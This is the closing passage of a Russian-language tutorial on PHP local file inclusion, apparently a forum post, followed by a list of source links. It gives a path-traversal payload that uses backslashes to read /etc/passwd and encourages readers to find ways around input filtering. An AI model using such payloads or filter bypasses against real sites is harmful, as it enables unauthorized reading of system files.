Но узнал, что обратный слэш ( \ ), ничуть не хуже замена обычному: httр://localhost/?page=..\..\..\etc\passwd, плюс ко всему увидел много других способов (https://rdot.org/forum/showpost.php?p=3323&postcount=16).
В последствии, Васёк написал хорошую фильтрацию входящих переменных. А ты? А ты ищи другие способы, их обхода.
Источники из которых была взята информация, или очень полезные:
1. /thread89082.html
2. http://raz0r.name/articles/null-byte-alternative/
3. http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
4. http://wiki.apache.org/httpd/DistrosDefaultLayout
5. https://rdot.org/forum/showpost.php?p=6942&postcount=29
6. /thread71902.html
7. http://www.xakep.ru/post/49508/
Очень хотелось бы, если бы в комментариях была не только критика, но и дополнения.